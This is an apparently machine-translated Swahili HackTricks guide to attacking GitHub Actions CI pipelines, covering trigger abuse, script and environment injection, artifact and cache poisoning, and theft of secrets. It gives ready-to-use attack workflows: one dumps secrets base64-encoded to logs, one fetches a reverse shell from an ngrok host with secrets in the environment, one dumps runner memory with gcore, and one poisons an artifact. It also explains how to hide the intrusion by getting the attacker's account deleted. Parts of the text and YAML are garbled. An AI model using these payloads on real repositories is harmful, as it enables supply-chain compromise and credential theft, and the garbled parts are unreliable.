Abusing Github Actions

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kwenye ukurasa huu utapata:

  • Muhtasari wa athari zote za mshambuliaji kufanikiwa kupata ufikiaji wa Github Action

  • Njia tofauti za kupata ufikiaji wa hatua:

  • Kuwa na ruhusa ya kuunda hatua

  • Kutumia vichocheo vinavyohusiana na ombi la kuchukua

  • Kutumia njia zingine za ufikiaji wa nje

  • Kupindua kutoka kwenye repo iliyoshambuliwa tayari

  • Hatimaye, sehemu kuhusu njia za baada ya kudukua kudhuru hatua kutoka ndani (kutokana na athari zilizotajwa)

Muhtasari wa Athari

Kwa maelezo zaidi kuhusu Github Actions angalia taarifa msingi.

Kwa kesi unaweza kutekeleza hatua za Github za kiholela/kuingiza nambari kwenye repo, unaweza:

  • Kudukua siri kutoka kwenye repo/ shirika hilo.

  • Ikiwa unaweza tu kuingiza, unaweza kudukua chochote kilichopo tayari kwenye mchakato.

  • Kutumia ruhusa za repo kupata ufikiaji wa majukwaa mengine kama AWS na GCP.

  • Kutekeleza nambari kwenye wafanyikazi wa desturi (ikiwa wafanyikazi wa desturi wanatumika) na kujaribu kupindua kutoka hapo.

  • Kubadilisha nambari ya repo.

  • Hii inategemea ruhusa za GITHUB_TOKEN (ikiwa zipo).

  • Kudhoofisha mipangilio na artifakts nyingine.

  • Ikiwa nambari inadeploy au kuhifadhi kitu unaweza kubadilisha hilo na kupata ufikiaji zaidi.

GITHUB_TOKEN

Hii "siri" (inayotoka kwa ${{ secrets.GITHUB_TOKEN }} na ${{ github.token }}) inatolewa wakati msimamizi anapowezesha chaguo hili:

Nambari hii ni ile ile ambayo Programu ya Github itatumia, hivyo inaweza kupata ufikiaji wa vituo sawa: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github inapaswa kutolea mtiririko unaoruhusu ufikiaji wa kuvuka-repo ndani ya GitHub, hivyo repo inaweza kupata ufikiaji wa repos nyingine za ndani kwa kutumia GITHUB_TOKEN.

Unaweza kuona ruhusa zinazowezekana za nambari hii katika: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Tambua kuwa nambari hii inaisha baada ya kazi kukamilika. Nambari hizi zinaonekana kama hivi: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Baadhi ya mambo ya kuvutia unayoweza kufanya na nambari hii:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Tafadhali kumbuka kwamba mara nyingi unaweza kupata vitufe vya mtumiaji wa github ndani ya mazingira ya Github Actions au katika siri. Vitufe hivi vinaweza kukupa mamlaka zaidi juu ya hazina na shirika.

Orodhesha siri katika matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Pata ganda la kurudi nyuma na siri

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Inawezekana kuchunguza ruhusa zilizotolewa kwa Token ya Github katika mabwawa ya watumiaji wengine kwa kuchunguza kumbukumbu za vitendo:

Utekelezaji Ulioruhusiwa

Hii ingekuwa njia rahisi ya kudhoofisha vitendo vya Github, kwani kesi hii inahitaji kwamba una ufikiaji wa kuunda bwawa jipya katika shirika, au una ruhusa za kuandika juu ya bwawa.

Ikiwa uko katika hali hii unaweza tu kuchunguza Mbinu za Baada ya Kudhoofishwa.

Utekelezaji kutoka kwa Uundaji wa Bwawa

Kwa wanachama wa shirika kuweza kuunda mabwawa mapya na wewe unaweza kutekeleza vitendo vya github, unaweza kuunda bwawa jipya na kuiba siri zilizowekwa kiwango cha shirika.

Utekelezaji kutoka kwa Tawi Jipya

Ikiwa unaweza kuunda tawi jipya katika bwawa ambalo tayari lina Github Action iliyosanidiwa, unaweza kuibadilisha, kuiweka yaliyomo, na kisha kutekeleza kitendo hicho kutoka kwa tawi jipya. Kwa njia hii unaweza kuchota siri za kiwango cha bwawa na shirika (lakini unahitaji kujua jinsi wanavyoitwa).

Unaweza kufanya kitendo kilichobadilishwa kiweze kutekelezwa kwa mikono, wakati PR inapoanzishwa au wakati baadhi ya nambari inapopakiwa (kulingana na kelele unayotaka kuwa nayo):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Utekelezaji wa Kuforkiwa

Kuna vichocheo tofauti vinavyoweza kuruhusu mshambuliaji kutekeleza Hatua ya Github ya repo nyingine. Ikiwa hatua hizo zinazoweza kuchochewa zimeboreshwa vibaya, mshambuliaji anaweza kuweza kuziteka.

pull_request

Kichocheo cha mfumo wa pull_request kitatekeleza mfumo kila wakati ombi la kuvuta linapopokelewa na baadhi ya ubaguzi: kwa chaguo-msingi ikiwa ni mara ya kwanza unashirikiana, baadhi ya wahifadhi watahitaji kuidhinisha utekelezaji wa mfumo:

Kwa kuwa kizuizi cha chaguo-msingi ni kwa wachangiaji wa mara ya kwanza, unaweza kuchangia kurekebisha mdudu/kipande cha maandishi kilicho sahihi na kisha kutuma PR zingine kudhuru haki zako mpya za pull_request.

Nilijaribu hili na halifanyi kazi: Chaguo lingine lingekuwa kuanzisha akaunti yenye jina la mtu aliyechangia kwenye mradi na kufuta akaunti yake.

Zaidi ya hayo, kwa chaguo-msingi inazuia ruhusa za kuandika na upatikanaji wa siri kwenye repo ya lengo kama ilivyotajwa katika nyaraka:

Isipokuwa GITHUB_TOKEN, siri hazipitishwi kwa mtumiaji wakati mfumo unapochochewa kutoka kwa repo iliyoforkiwa. GITHUB_TOKEN ina ruhusa za kusoma tu katika maombi ya kuvuta kutoka kwa repo zilizoforkiwa.

Mshambuliaji anaweza kubadilisha ufafanuzi wa Hatua ya Github ili kutekeleza mambo ya kiholela na kuongeza hatua za kiholela. Hata hivyo, hataweza kuiba siri au kubadilisha repo kwa sababu ya vikwazo vilivyotajwa.

Ndio, ikiwa mshambuliaji anabadilisha kwenye PR hatua ya github itakayochochewa, Hatua yake ya Github itatumika badala ya ile kutoka kwa repo ya asili!

Kwa kuwa mshambuliaji pia ana udhibiti wa namna ya kutekelezwa kwa namna ya kiholela, hata kama hakuna siri au ruhusa za kuandika kwenye GITHUB_TOKEN mshambuliaji anaweza kwa mfano kutuma vitu vichafu.

pull_request_target

Kichocheo cha mfumo cha pull_request_target kina ruhusa za kuandika kwenye repo ya lengo na upatikanaji wa siri (na haitoi idhini).

Tafadhali kumbuka kuwa kichocheo cha mfumo cha pull_request_target hutekeleza katika muktadha wa msingi na sio katika ule uliotolewa na PR (ili isitekeleze nambari isiyosadikika). Kwa habari zaidi kuhusu pull_request_target angalia nyaraka. Zaidi ya hayo, kwa habari zaidi kuhusu matumizi hatari haya maalum angalia hii chapisho la blogi ya github.

Inaweza kuonekana kwa sababu utekelezaji wa mfumo ni ule uliofafanuliwa katika msingi na sio katika PR ni salama kutumia pull_request_target, lakini kuna hali chache ambapo sio hivyo.

Na hii itakuwa na upatikanaji wa siri.

workflow_run

Kichocheo cha workflow_run kuruhusu kutekeleza mfumo kutoka kwa mwingine wakati wa kumalizika, ombiwa au inaendelea.

Katika mfano huu, mfumo umewekwa kutekelezwa baada ya mfumo tofauti wa "Run Tests" kukamilika:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Zaidi, kulingana na nyaraka: Kazi iliyozinduliwa na tukio la workflow_run inaweza kupata siri na kuandika vitufe, hata kama kazi ya awali haikuwa.

Aina hii ya kazi inaweza kushambuliwa ikiwa ina tegemea kwenye kazi ambayo inaweza kuzinduliwa na mtumiaji wa nje kupitia pull_request au pull_request_target. Mifano michache ya hatari inaweza kupatikana kwenye blogi hii. Ya kwanza inahusiana na kazi iliyozinduliwa na workflow_run kupakua msimbo wa mshambuliaji: ${{ github.event.pull_request.head.sha }} Ya pili inahusiana na kupitisha artifakiti kutoka kwa msimbo usioaminika kwenda kwa kazi ya workflow_run na kutumia maudhui ya artifakiti hii kwa njia inayofanya iwe hatari kwa RCE.

workflow_call

TODO

TODO: Angalia ikiwa inapotekelezwa kutoka kwa pull\_request msimbo uliotumiwa/uliohifadhiwa ikiwa ni wa asili au kutoka kwa PR iliyochukuliwa

Kutumia Utekelezaji Ulioforkiwa

Tumetaja njia zote ambazo mshambuliaji wa nje anaweza kutumia ili kufanya kazi ya github kutekelezwa, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya:

Utekelezaji wa kucheki bila kuaminika

Katika kesi ya pull_request, kazi itatekelezwa katika muktadha wa PR (kwa hivyo itatekeleza msimbo wa PR mbaya), lakini mtu anahitaji kuidhinisha kwanza na itatekelezwa na vizuizi fulani.

Katika kesi ya kazi inayotumia pull_request_target au workflow_run ambayo inategemea kazi ambayo inaweza kuzinduliwa kutoka kwa pull_request_target au pull_request msimbo kutoka kwa repo ya asili utatekelezwa, kwa hivyo mshambuliaji hawezi kudhibiti msimbo uliotekelezwa.

Hata hivyo, ikiwa hatua ina ucheki wa PR ulio wazi ambao utapata msimbo kutoka kwa PR (na sio kutoka kwa msingi), itatumia msimbo uliodhibitiwa na mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unapakuliwa):

# SIO SALAMA. Iliyotolewa kama mfano tu.
on:
pull_request_target

jobs:
build:
name: Jenga na jaribu
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Asante!

Msimbo usioaminika unatekelezwa wakati wa npm install au npm build kwani hatua za kujenga na pakiti zilizotajwa zinaudhibitiwa na mwandishi wa PR.

Dork ya github kutafuta hatua zenye hatari ni: event.pull_request pull_request_target extension:yml hata hivyo, kuna njia tofauti za kusanidi kazi zitekelezwe kwa usalama hata ikiwa hatua imepangwa kwa njia isiyo salama (kama kutumia masharti kuhusu ni nani anayezalisha PR).

Uingizaji wa Skripti za Muktadha

Tafadhali kumbuka kuwa kuna muktadha wa github ambao thamani zake zinadhibitiwa na mtumiaji anayeanzisha PR. Ikiwa hatua ya github inatumia data hiyo kutekeleza chochote, inaweza kusababisha utekelezaji wa msimbo wa aina yoyote:

pageGh Actions - Context Script Injections

Uingizaji wa Skripti za GITHUB_ENV

Kulingana na nyaraka: Unaweza kufanya mazingira ya mazingira ipatikane kwa hatua zifuatazo katika kazi ya mchakato kwa kufafanua au kusasisha mazingira ya mazingira na kuandika hii kwa faili ya mazingira ya GITHUB_ENV.

Ikiwa mshambuliaji anaweza kuingiza thamani yoyote ndani ya hii mazingira ya mazingira, anaweza kuingiza mazingira ya mazingira ambayo yanaweza kutekeleza msimbo katika hatua zifuatazo kama LD_PRELOAD au NODE_OPTIONS.

Kwa mfano (hii na hii), fikiria kazi ambayo inaamini artifakiti iliyopakiwa kuhifadhi maudhui yake ndani ya mazingira ya mazingira ya GITHUB_ENV. Mshambuliaji anaweza kupakia kitu kama hiki kuhatarisha:

Hatua za Tatu za Github Zisizo Salama

Kama ilivyotajwa katika chapisho hili la blogi, Hatua hii ya Github inaruhusu kupata artifakiti kutoka kwa kazi tofauti na hata makusanyo.

Shida ni kwamba ikiwa parameter ya path haijawekwa, artifakiti inachimbuliwa kwenye saraka ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumiwa baadaye au hata kutekelezwa kwenye kazi. Kwa hivyo, ikiwa Artifakiti ni hatari, mshambuliaji anaweza kutumia hii kuhatarisha kazi zingine zinazoamini Artifakiti.

Mfano wa kazi hatari:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Hii inaweza kushambuliwa na mtiririko huu wa kazi:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Upatikanaji Mwingine wa Nje

Utekaji wa Repo ya Jina la Kufutwa

Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha akaunti hiyo baada ya muda fulani. Ikiwa repo ilikuwa na nyota chini ya 100 kabla ya mabadiliko ya jina, Github itaruhusu mtumiaji mpya aliyejiandikisha na jina sawa kuunda repo yenye jina sawa na ile iliyofutwa.

Kwa hivyo, ikiwa hatua inatumia repo kutoka kwa akaunti isiyopo, bado inawezekana kwamba mshambuliaji anaweza kuunda akaunti hiyo na kuhatarisha hatua hiyo.

Ikiwa repos zingine zilikuwa zikitumia tegemezi kutoka kwa repos za mtumiaji huyu, mshambuliaji ataweza kuziteka. Hapa kuna maelezo kamili zaidi: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Ugeuzaji wa Repo

Katika sehemu hii tutazungumzia mbinu ambazo zingeweza kuruhusu ugeuzaji kutoka repo moja hadi nyingine ikizingatiwa tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).

Kuharibu Cache

Cache inahifadhiwa kati ya mbio za wokflow kwenye tawi moja. Hii inamaanisha kwamba ikiwa mshambuliaji anahatarisha pakiti ambayo kisha huhifadhiwa kwenye cache na kupakuliwa na kutekelezwa na wokflow yenye mamlaka zaidi ataweza kuhatarisha pia wokflow hiyo.

pageGH Actions - Cache Poisoning

Kuharibu Kipande

Wokflow inaweza kutumia vipande kutoka kwa wokflow nyingine na hata repos, ikiwa mshambuliaji anafanikiwa kuhatarisha Github Action ambayo inaleta kipande ambacho baadaye hutumiwa na wokflow nyingine anaweza kuhatarisha wokflow nyingine:

pageGh Actions - Artifact Poisoning

Baada ya Utekaji kutoka kwa Hatua

Kupata AWS na GCP kupitia OIDC

Angalia kurasa zifuatazo:

pageAWS - Federation AbusepageGCP - Federation Abuse

Kupata siri

Ikiwa unainjekta maudhui kwenye script ni muhimu kujua jinsi unaweza kupata siri:

  • Ikiwa siri au token imewekwa kama mazingira ya mazingira, inaweza kupatikana moja kwa moja kupitia mazingira kwa kutumia printenv.

Orodha ya siri kwenye matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Pata ganda la nyuma na siri</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Ikiwa siri inatumika moja kwa moja katika kielezo, script ya shell iliyoundwa inahifadhiwa kwenye diski na inapatikana.

cat /home/runner/work/_temp/*

* Kwa hatua za JavaScript siri hutumwa kupitia mazingira ya mazingira
* ```bash
ps axe | grep node
  • Kwa hatua ya desturi, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia siri iliyopatikana kutoka kwa hoja:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kutumia Wafanyaji wa Huduma za Kibinafsi

Njia ya kugundua ni Github Actions zipi zinaendeshwa kwenye miundombinu isiyo ya github ni kutafuta runs-on: self-hosted katika konfigurisheni ya yaml ya Github Action.

Wafanyaji wa huduma za kibinafsi wanaweza kuwa na ufikivu wa habari nyeti zaidi, kwa mifumo mingine ya mtandao (miisho inayoweza kudhurika kwenye mtandao? huduma ya metadata?) au, hata kama ni kizazi na kuharibiwa, hatua zaidi ya moja inaweza kutekelezwa wakati huo huo na ile inayoweza kuwa mbaya inaweza kuiba siri ya nyingine.

Kwenye wafanyaji wa huduma za kibinafsi pia ni rahisi kupata siri kutoka kwa mchakato wa _Runner.Listener_** ambao utaleta siri zote za mifumo ya kazi katika hatua yoyote kwa kudondosha kumbukumbu yake:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Angalia chapisho hili kwa maelezo zaidi.

Github Docker Images Registry

Inawezekana kuunda Github actions ambazo zitajenga na kuhifadhi picha ya Docker ndani ya Github. Mfano unaweza kupatikana katika sehemu ifuatayo inayoweza kufunguliwa:

Github Action Kujenga & Kusukuma Picha ya Docker

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Kama unavyoweza kuona katika msimbo uliopita, usajili wa Github umehifadhiwa katika **`ghcr.io`**.

Mtumiaji mwenye ruhusa za kusoma kwenye repo ataweza kupakua Picha ya Docker kwa kutumia tokeni ya ufikiaji wa kibinafsi:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Kisha, mtumiaji anaweza kutafuta siri zilizovuja katika safu za picha za Docker:

Taarifa nyeti katika kumbukumbu za Github Actions

Hata kama Github jaribu kugundua thamani za siri katika kumbukumbu za vitendo na kuepuka kuzionyesha, data nyingine nyeti ambayo inaweza kuwa imeundwa katika utekelezaji wa hatua haitafichwa. Kwa mfano JWT iliyosainiwa na thamani ya siri haitafichwa isipokuwa imeboreshwa maalum.

Kuficha Nyayo Zako

(Teknolojia kutoka hapa) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma kwenye Github na kwa akaunti ya GitHub ya lengo. Kwenye GitHub kwa chaguo-msingi, hatuwezi kufuta PR ya mtandao, lakini kuna mchezo. Kwa akaunti za Github ambazo zimefutwa na Github, PR zao zote zinafutwa moja kwa moja na kuondolewa kwenye mtandao. Kwa hivyo ili kuficha shughuli zako unahitaji kupata akaunti yako ya GitHub kufutwa au akaunti yako kupewa alama. Hii itaficha shughuli zako zote kwenye GitHub kutoka kwa mtandao (kimsingi kuondoa PR yako yote ya kudanganya)

Shirika kwenye GitHub ni makini sana katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "vitu fulani" katika Suala na watahakikisha akaunti yako inafutwa ndani ya masaa 12 :p na hapo umefanya, kudanganya kwako kuwa haionekani kwenye github.

Njia pekee kwa shirika kugundua wamekuwa lengo ni kuchunguza kumbukumbu za GitHub kutoka SIEM kwani kutoka kwa GitHub UI PR itakuwa imeondolewa.

Vyombo

Vyombo vifuatavyo ni muhimu kwa kutafuta mifumo ya kazi ya Github Action na hata kupata zile zenye mapungufu:

Last updated